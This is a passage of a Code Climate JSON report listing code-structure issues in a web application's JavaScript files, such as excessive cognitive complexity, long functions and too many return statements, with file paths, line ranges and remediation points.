refactoring.","fingerprint":"c99f8cbe0230e2f1d48ff4478f2117c4","location":{"path":"app/assets/javascripts/monitoring/utils/multiple_time_series.js","lines":{"begin":33,"end":165}},"other_locations":[],"remediation_points":2640000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `timeScaleFormat` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f52e997312984f599f152d3260bf8654","location":{"path":"app/assets/javascripts/monitoring/utils/date_time_formatters.js","lines":{"begin":22,"end":42}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"complex_logic","content":{"body":""},"description":"Consider simplifying this complex logical expression.","location":{"path":"app/assets/javascripts/diffs/store/mutations.js","lines":{"begin":95,"end":134}},"other_locations":[],"remediation_points":800000,"severity":"critical","type":"issue","engine_name":"structure","fingerprint":"531fa4647bfb14d1172613e86257dd28"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.SET_LINE_DISCUSSIONS_FOR_FILE` has a Cognitive Complexity of 16 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f6d1e6ad89a6aec9b87ec051dfa0099d","location":{"path":"app/assets/javascripts/diffs/store/mutations.js","lines":{"begin":88,"end":135}},"other_locations":[],"remediation_points":1250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.REMOVE_LINE_DISCUSSIONS_FOR_FILE` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"967d987657c3659898f377b3d07be15b","location":{"path":"app/assets/javascripts/diffs/store/mutations.js","lines":{"begin":137,"end":165}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `types.SET_LINE_DISCUSSIONS_FOR_FILE` has 43 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"08263cf95339fef038c9b82b56e70844","location":{"path":"app/assets/javascripts/diffs/store/mutations.js","lines":{"begin":88,"end":135}},"other_locations":[],"remediation_points":1032000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `startRenderDiffsQueue` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9d28a6db58513b7ea1157b081952903c","location":{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":58,"end":83}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `addLineReferences` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"782481c579d96128e5d0793c04d6113b","location":{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":110,"end":145}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `prepareDiffData` has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring.","fingerprint":"69f60a55e02467d84573c99a4caa96e1","location":{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":191,"end":224}},"other_locations":[],"remediation_points":1650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getNoteFormData` has 45 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"2408381b663271af2ce36e4cfec0ef64","location":{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":28,"end":77}},"other_locations":[],"remediation_points":1080000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `addLineReferences` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9e04f00e197ce4b77a3fa65c55e66cb1","location":{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":110,"end":145}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `prepareDiffData` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"4fa4b2e2a939b7a261a1e47aea3b124e","location":{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":191,"end":224}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `shouldRenderParallelCommentRow` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cf200732380b3f0a2a2993c8cb3d3a71","location":{"path":"app/assets/javascripts/diffs/store/getters.js","lines":{"begin":75,"end":97}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initDiffsApp` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"37689c9906180d81c8f636a1285361fa","location":{"path":"app/assets/javascripts/diffs/index.js","lines":{"begin":6,"end":41}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `create_merge_request_dropdown.js` has 391 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"efe0e6e60956f829c50aea15ff89a81c","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":1,"end":489}},"other_locations":[],"remediation_points":3230400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `onChangeInput` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"51e3d7e3f8979e2acacf219907cfae33","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":278,"end":322}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `updateInputState` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"15a5141561c69faaf772cc24838b9882","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":433,"end":472}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`CreateMergeRequestDropdown` has 32 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"6d33b610bd5704267ec05a9b7b5e44e0","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":15,"end":488}},"other_locations":[],"remediation_points":2400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 38 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9408c08016dc994d8ab6445d06b9e1ba","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":16,"end":61}},"other_locations":[],"remediation_points":912000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onChangeInput` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e5627e01c10e2d6e1299f91b38024a0a","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":278,"end":322}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `updateInputState` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5126386129e905b8737efa7b7aadb02e","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":433,"end":472}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":321,"end":321}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"8643526d248036a3735dc9a6e2e57920"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `addToImport` has 48 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f5c4a1a17a8903f8c6dd885142d0e5a7","location":{"path":"app/assets/javascripts/importer_status.js","lines":{"begin":33,"end":92}},"other_locations":[],"remediation_points":1152000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `autoUpdate` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"86f5ee9b3a803d7476f4c94f06eeb20f","location":{"path":"app/assets/javascripts/importer_status.js","lines":{"begin":94,"end":123}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `deviseState` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cc96fa07083c1de787a6bff9f39300d8","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":3,"end":34}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `deviseState` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b9fdc968681b9a4d1a00bdaebcf5513e","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":3,"end":34}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":13,"end":13}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"7e01335e6a48fbcffe9b977a5893e0c1"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":15,"end":15}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"06b18956af744e4ba0818ef408ae519a"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":17,"end":17}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"b6db36d200c40a47864a6c82d74ecdd9"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":19,"end":19}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"94cbbf89dae775243077f30c7139777f"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":21,"end":21}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"407c4389388a40459b3a50e566ec4695"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":23,"end":23}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"c9317c489fdab4a76a50dbc5cebcfa17"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":25,"end":25}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"d69b63a794f4784245d6a949c148e1c8"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":27,"end":27}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"766dbcf000fa7d4e2636539267ea8cee"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":29,"end":29}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"9c3dd1c5c99c0b2e367eaf0f6c483688"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":31,"end":31}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"9735ac3532df3e31eea793eb471bcd3e"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js","lines":{"begin":33,"end":33}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"6a3a4a85c8ee79ec2d8e4ea2cf165674"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `setData` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c334ad6c327b60fc52e19d4b1a441be0","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js","lines":{"begin":14,"end":114}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setData` has 88 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"590c6f1bfea578d864bdc64a2fa9a1da","location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js","lines":{"begin":14,"end":114}},"other_locations":[],"remediation_points":2112000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `groupsSelect` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6d30e631abef41c7858e8c2b472ab41b","location":{"path":"app/assets/javascripts/groups_select.js","lines":{"begin":6,"end":88}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `groupsSelect` has 74 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ced5ccd57fcd0e841cc27868cc850186","location":{"path":"app/assets/javascripts/groups_select.js","lines":{"begin":6,"end":88}},"other_locations":[],"remediation_points":1776000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setAjaxGroupsSelect2` has 71 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cb6c68e362058d81fc462714f431d13d","location":{"path":"app/assets/javascripts/groups_select.js","lines":{"begin":9,"end":87}},"other_locations":[],"remediation_points":1704000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setConfig` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"93dedf1db90bd5e014f609731004784e","location":{"path":"app/assets/javascripts/comment_type_toggle.js","lines":{"begin":25,"end":60}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `memberExpirationDate` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"93c026069e6f3fae025e1bf3bf480e0b","location":{"path":"app/assets/javascripts/member_expiration_date.js","lines":{"begin":10,"end":54}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `merge_request_tabs.js` has 311 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"91dcee71900ea33c229c8f115d145f57","location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":1,"end":477}},"other_locations":[],"remediation_points":2078400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `constructor` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2c515fc51ceabbbd6bcacbadf7b409c8","location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":71,"end":122}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `tabShown` has a Cognitive Complexity of 29 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ca9c966746914ecd639f907aed00306a","location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":159,"end":223}},"other_locations":[],"remediation_points":2550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 43 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5e286159c60ca68824ec344d5dec0145","location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":71,"end":122}},"other_locations":[],"remediation_points":1032000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `tabShown` has 56 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5752347dcb1fd9940bd4bc3d21abd442","location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":159,"end":223}},"other_locations":[],"remediation_points":1344000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `loadDiff` has 52 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3eedd69a3c93529e5939b19ecf1b3e32","location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":331,"end":401}},"other_locations":[],"remediation_points":1248000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `toggleLabelPriority` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"17bb8b4767aa6ee7a9db29cd4297dfd1","location":{"path":"app/assets/javascripts/label_manager.js","lines":{"begin":53,"end":94}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `toggleLabelPriority` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ac24663bc55eac3c9635bccf3a68dc5a","location":{"path":"app/assets/javascripts/label_manager.js","lines":{"begin":53,"end":94}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"4cd0496900d30272b32ee2e3adf188ae","location":{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":11,"end":46}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive 